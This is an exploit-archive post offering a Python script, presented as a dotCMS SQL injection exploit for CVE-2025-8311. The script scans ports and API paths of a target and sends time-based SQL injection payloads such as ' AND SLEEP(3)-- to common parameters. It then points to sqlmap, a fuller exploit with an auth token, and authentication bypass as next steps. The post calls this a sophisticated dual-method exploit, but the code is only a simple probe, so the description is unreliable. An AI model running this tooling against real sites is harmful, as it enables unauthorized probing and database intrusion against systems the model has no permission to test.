============================================================================================================================================= | # Title : dotCMS 25.07.02-1 Security Scanner | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.dotcms.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/211125/ & CVE-2025-8311 [+] Summary : This python script represents a sophisticated dual-method SQL Injection exploit targeting DotCMS content management systems. [+] Usage : * : Save as: poc.py Run : python poc.py [+] POC : #!/usr/bin/env python3 """ dotCMS SQL Injection Scanner """ import sys import time import socket import requests import argparse from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class SimpleDotCMSScanner: def __init__(self, target): self.target = target self.session = requests.Session() self.session.verify = False self.session.timeout = 10 # قائمة بالمنافذ الشائعة لـdotCMS self.common_ports = [8443, 8080, 80, 443, 8081, 8082, 8888] # قائمة بـsubdomains محتملة self.common_subdomains = [ "demo", "test", "dev", "staging", "admin", "portal", "cms", "dotcms" ] # قائمة بـpaths شائعة self.common_paths = [ "/", "/dotAdmin/", "/html/", "/c/", "/api/v1/", "/api/", "/application/", "/admin/", "/login", "/signin" ] def test_port(self, host, port): """اختبار إذا كان المنفذ مفتوحاً""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) result = sock.connect_ex((host, port)) sock.close() return result == 0 except: return False def discover_dotcms(self): """اكتشاف إعداد dotCMS""" print("\n🔍 Discovering dotCMS configuration...") # تنظيف الهدف target = self.target.lower().strip() results = { "host": "", "port": None, "protocol": "https", "base_url": "", "accessible": False } # تجزئة الهدف if "://" in target: parsed = urlparse(target) host = parsed.netloc if ":" in host: host, port = host.split(":", 1) port = int(port) else: port = None else: host = target port = None # إزالة www إذا كان موجوداً if host.startswith("www."): host = host[4:] results["host"] = host # تحديد المنفذ if port: results["port"] = port else: # اختبار المنافذ الشائعة for port in self.common_ports: if self.test_port(host, port): print(f" ✓ Port {port} is open") results["port"] = port break if not results["port"]: print(" ✗ No open ports found") return results # اختبار البروتوكولات protocols = ["https", "http"] for protocol in protocols: base_url = f"{protocol}://{host}:{results['port']}" # اختبار الاتصال for path in self.common_paths[:3]: # أول 3 فقط للسرعة url = base_url + path try: response = self.session.get(url, timeout=5) if response.status_code < 500: print(f" ✓ {protocol.upper()} accessible at {url}") results["protocol"] = protocol results["base_url"] = base_url results["accessible"] = True # التحقق من وجود dotCMS if "dotcms" in response.text.lower(): print(f" ✓ dotCMS detected!") elif "dotadmin" in response.text.lower(): print(f" ✓ dotAdmin detected!") return results except Exception as e: continue return results def find_public_apis(self, base_url): """البحث عن واجهات API عامة""" print("\n🔎 Searching for public APIs...") api_endpoints = [ "/api/v1/system/status", "/api/v1/version", "/api/v1/sites", "/api/v1/content", "/api/v1/nav", "/api/v1/menu", "/api/v1/widgets", "/api/v1/containers", "/api/v1/templates" ] found_apis = [] for endpoint in api_endpoints: url = base_url + endpoint try: response = self.session.get(url, timeout=5) if response.status_code == 200: print(f" ✓ Public API: {endpoint}") found_apis.append({ "url": url, "status": response.status_code, "content_type": response.headers.get('Content-Type', ''), "size": len(response.content) }) elif response.status_code in [401, 403]: print(f" ! Protected API: {endpoint} (Auth required)") elif response.status_code == 404: pass # لا تعرض الـ404 else: print(f" ? API: {endpoint} (Status: {response.status_code})") except Exception as e: pass return found_apis def quick_sqli_test(self, api_url): """اختبار سريع لـSQL Injection""" print(f"\n⚡ Quick SQLi test on: {api_url}") # اختبار بسيط لـTime-based SQLi test_params = ["filter", "orderby", "sort", "id", "type"] for param in test_params: test_url = f"{api_url}?{param}=test" # بايلود Time-based payloads = [ "' AND SLEEP(3)--", "' OR (SELECT 1 FROM (SELECT SLEEP(3))a)--", "') AND SLEEP(3)--" ] for payload in payloads: full_url = test_url + payload try: start = time.time() response = self.session.get(full_url, timeout=10) elapsed = time.time() - start if elapsed >= 3: print(f" 🚨 POSSIBLE TIME-BASED SQLi in parameter: {param}") print(f" Payload: {payload}") print(f" Response time: {elapsed:.2f}s") return True except requests.exceptions.Timeout: print(f" 🚨 TIMEOUT - Possible SQLi in parameter: {param}") return True except: pass print(" ✓ No obvious SQLi detected") return False def scan(self): """المسح الرئيسي""" print("\n" + "="*60) print("dotCMS Security Scanner") print("="*60) # الخطوة 1: الاكتشاف config = self.discover_dotcms() if not config["accessible"]: print("\n❌ Cannot access the target") print("\n💡 Try these alternatives:") print(" 1. python scanner.py localhost:8443") print(" 2. python scanner.py 127.0.0.1:8080") print(" 3. python scanner.py your-domain.com") return print(f"\n✅ Target found:") print(f" Host: {config['host']}") print(f" Port: {config['port']}") print(f" Protocol: {config['protocol']}") print(f" Base URL: {config['base_url']}") # الخطوة 2: البحث عن APIs apis = self.find_public_apis(config["base_url"]) if not apis: print("\n⚠️ No public APIs found") print("\n🎯 Try these common endpoints:") for path in self.common_paths: print(f" {config['base_url']}{path}") return # الخطوة 3: اختبار SQLi على كل API sql_vulnerabilities = [] for api in apis: if self.quick_sqli_test(api["url"]): sql_vulnerabilities.append(api["url"]) # عرض النتائج print("\n" + "="*60) print("SCAN RESULTS") print("="*60) print(f"\n📊 Summary:") print(f" Total APIs found: {len(apis)}") print(f" Possible SQLi vulnerabilities: {len(sql_vulnerabilities)}") if sql_vulnerabilities: print(f"\n🚨 Vulnerable endpoints:") for vuln in sql_vulnerabilities: print(f" • {vuln}") print(f"\n💡 Next steps:") print(f" 1. Test manually with sqlmap: sqlmap -u \"{sql_vulnerabilities[0]}\"") print(f" 2. Use the full exploit script with authentication token") print(f" 3. Check for authentication bypass methods") else: print(f"\n✅ No SQL injection vulnerabilities found in public APIs") print(f"\n💡 Try authenticated endpoints if you have credentials") def main(): parser = argparse.ArgumentParser(description="Simple dotCMS Security Scanner") parser.add_argument("target", help="Target (e.g., demo.dotcms.com, localhost:8443)") args = parser.parse_args() print(r""" ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗██╗ ██╗ █████╗ ██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝██║ ██║██║ ██╔╝██╔══██╗ ██║██╔██╗ ██║██ █╔╝██║ ██║██║ ██║███████╗███████║█████╔╝ ███████║ ██║██║╚██╗██║██╔══██╗██║ ██║██║ ██║╚════██║██╔══██║██╔═██╗ ██╔══██║ ██║██║ ╚████║██████╔╝╚██████╔╝╚██████╔╝███████║██║ ██║██║ ██╗██║ ██║ ╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ dotCMS Security Scanner """) scanner = SimpleDotCMSScanner(args.target) scanner.scan() if __name__ == "__main__": try: main() except KeyboardInterrupt: print("\n\n[!] Scan interrupted by user") sys.exit(0) except Exception as e: print(f"\n[!] Error: {e}") sys.exit(1) Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================